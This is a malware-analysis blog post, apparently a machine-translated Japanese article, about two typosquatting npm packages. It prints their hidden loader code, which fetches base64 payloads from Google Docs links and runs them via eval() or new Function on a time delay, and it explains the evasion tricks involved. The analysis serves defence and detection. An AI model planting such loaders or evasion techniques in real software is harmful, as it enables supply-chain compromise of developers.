Aikido

隠れて失敗する難読化されたマルウェア、空のペイロード、そしてnpmの悪ふざけ

チャーリー・エリクセンチャーリー・エリクセン
|
#
#

2025年3月14日、私たちはnpm上で悪意のあるパッケージを検出しました。 node-facebook-messenger-api と呼ばれる。.当初は、ありふれたマルウェアのように思えましたが、最終的な目的は何なのかは分かりませんでした。2025年4月3日に同じ脅威者が攻撃を拡大しているのを見るまで、私たちはそれ以上のことを考えませんでした。これは、この特定の攻撃者が使用したテクニックの簡単な概要であり、難読化の試みが実際にどのように彼らをさらに明白にすることに終わるかについての楽しい観察でもある。 

TLDR 

  • 🕵️ オン 2025年3月14日悪意のあるnpmパッケージを検出しました: node-facebook-messenger-api@4.1.0合法的なFacebookメッセンジャーのラッパーに偽装している。
  • 🧪 攻撃者は隠れた。 リモートコード実行ロジック 使用して アクシオス そして eval() Googleドキュメントのリンクからペイロードを取り出そうとしたが、ファイルは空だった。
  • 🔁 後のバージョンで使用された 時間遅延実行 を入れ替えた。 zx ライブラリに悪意のあるロジックを埋め込み、公開から数日後にトリガーすることで、検知を回避している。
  • 📦 オン 2025年4月3日同じ脅威者が2つ目の偽パッケージをリリースした: node-smtp-mailer@6.10.0なりすまし ノードメーラー同じC2ロジックと難読化で。
  • 🧬 両パッケージは、同じ固有の依存関係セット(以下を含む)を使用した。 ハイパー・タイプ)、明らかになった。 シグネチャーパターン 攻撃とリンクしている。
  • 💀 攻撃者の難読化の試み(大きなファイルにコードを隠したり、別の依存関係を介してzxを黙って取り込んだり)は、皮肉にもキャンペーンを発見しやすくした。
  • ペイロードは実際に機能的なものを配信することはなかったが、TTPは本物であり、npmに対するサプライチェーン攻撃がどのように進化しているかを示している 🚨 ペイロードは実際に機能的なものを配信することはなかったが、TTPは本物であり、npmに対するサプライチェーン攻撃がどのように進化しているかを示している。
  • はじめの一歩

    すべては3月14日04:37(UTC)に、我々のシステムが不審なパッケージを警告したことから始まった。それはユーザー ビクター・ベン0825と名乗る。 パースワールド.を所有するユーザーのユーザー名です。 正規リポジトリ このライブラリーのために。  

    以下は、悪意あるコードとして検出されたものである。 node-facebook-messenger-api@4.1.0:ファイル内の メッセンジャーライン 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    攻撃者はこのコードを769行の長いファイルに隠そうとしている。ここで彼らは関数を追加し、それを直接呼び出している。とてもかわいらしいが、とてもわかりやすい。ペイロードをフェッチしようとしたが、空だった。マルウェアとしてフラグを立て、次に進んだ。

    数分後、攻撃者は別のバージョン4.1.1をプッシュした。唯一の変更は README.md そして package.json ファイルのバージョン、説明、インストール手順を変更した。私たちはこの作者を悪い作者としてマークしているため、この時点以降のパッケージは自動的にマルウェアとしてフラグが立てられました。

    卑屈になろうとする

    その後、3月20日16:29 UTCに、私たちのシステムは自動的にバージョンにフラグを立てました。 4.1.2 パッケージのそこで何が新しくなったかを見てみよう。最初の変更は node-Facebook-messenger-api.js、 を含んでいる:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    このファイルの変更点は最後の行だ。単に メッセンジャー ファイルを要求された場合は、モジュールがインポートされたときに常に実行される。賢い!もう一つの変更は、そのファイルである、 messenger.js。 以前見られた追加コードは削除され、197行目から219行目に以下のように追加されている:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    以下はその概要である:

    1. 悪意のあるコードを起動させるかどうかを決定するために、時間ベースのチェックを利用する。それは約4日後にのみ有効化される。
    2. を使う代わりに アクシオス現在はグーグルを使用している。 zx ライブラリを使用して悪意のあるペイロードを取得する。
    3. これは冗長モードを無効にするもので、デフォルトでもある。
    4. そして、悪意のあるコードを取得する。
    5. それをbase64デコードする
    6. を使用して新しいファンクションを作成します。 関数() コンストラクタに相当します。 eval() コール。 
    7. そして、次のように関数を呼び出します。 必要 を引数に取る。

    しかし、ファイルをフェッチしようとしても、ペイロードは得られない。ただ info.txt. を使用する。 zx が気になる。依存関係を調べたところ、元のパッケージにはいくつかの依存関係が含まれていることに気づいた:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    悪質なパッケージには以下のものが含まれている:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    見てごらん、依存性のハイパータイプが追加されている。とても興味深いので、あと何回かこの話をするつもりだ。 

    彼らはまた襲ってきた!

    そして2025年4月3日06:46、新しいパッケージがユーザーによってリリースされた。 クリスター を発表した。eパッケージ  node-smtp-mailer@6.10.0。 私たちのシステムは、悪意のあるコードが含まれている可能性があるとして、自動的にフラグを立てました。私たちはそれを見て、少し興奮しました。パッケージは nodemailer、 名前が違うだけだ。  

    私たちのシステムはファイルにフラグを立てた lib/smtp-pool/index.js. 攻撃者は正規のファイルの一番下、最後の モジュールエクスポート.以下が追加された内容である:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    我々はこのコードを知っている!4日後に実行されるようにタイムスタンプが押されている。わくわくしながらペイロードをフェッチしようとしたが、次のような空のファイルが送られてきた。 beginner.txt。 ブー!依存関係をもう一度見てみよう。 zx.我々は、その正当性を指摘した。 ノードメーラー パッケージには いいえ ダイレクト 依存関係だけである。 devDependencies.しかし、悪質なパッケージの中身はこうだ:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    このパッケージと、最初に検出したパッケージの間に類似点があるのがわかりますか?同じ依存関係リストです。正規のパッケージには依存関係がありませんが、悪意のあるパッケージには依存関係があります。攻撃者は、最初の攻撃からこの攻撃まで、依存関係の完全なリストをコピーしただけです。 

    興味深い依存関係

    では、なぜ彼らはこれまで使っていた アクシオス への zx を作る HTTP リクエスト?間違いなく発覚を避けるためだ。しかし、興味深いのは zx は直接の依存関係ではない。その代わりに、攻撃者は開発者lukasbachによる正当なパッケージであるhyper-typesをインクルードしている。 

    参照したリポジトリがもう存在しないという事実のほかに、ここで注目すべき興味深いことがある。2つの 扶養家族?誰だと思う? 

    もし攻撃者が実際に自分の活動を難読化しようとしていたのなら、自分だけが依存するパッケージに依存するのはかなり間抜けなことだ。 

    最後の言葉

    これらの npm パッケージの背後にいる攻撃者は、最終的に動作するペイロードを提供することはできませんでしたが、彼らのキャンペーンは、JavaScript エコシステムを標的としたサプライチェーンの脅威の進行中の進化を強調しています。遅延実行、間接的なインポート、依存関係ハイジャックの使用は、検知メカニズムに対する意識の高まりと実験への意欲を示している。しかし、それはまた、いかにずさんな運用セキュリティと繰り返されるパターンが、依然として彼らに気づかせてしまう可能性があるかを示している。防御側としては、失敗した攻撃でさえも貴重なインテリジェンスであることを思い知らされる。すべてのアーティファクト、難読化のトリック、再利用される依存関係は、私たちがより優れた検知能力とアトリビューション能力を構築するのに役立ちます。そして最も重要なことは、継続的な監視と公開パッケージレジストリの自動化されたフラグ付けが、もはやオプションではなく、非常に重要である理由を補強することだ。

    4.7/5

    今すぐソフトウェアを保護しましょう

    無料で始める
    CC不要
    デモを予約する
    データは共有されない - 読み取り専用アクセス - CC不要

    今すぐ安全を確保しましょう

    コード、クラウド、ランタイムを1つの中央システムでセキュアに。
    脆弱性を迅速に発見し、自動的に修正。

    クレジットカードは不要。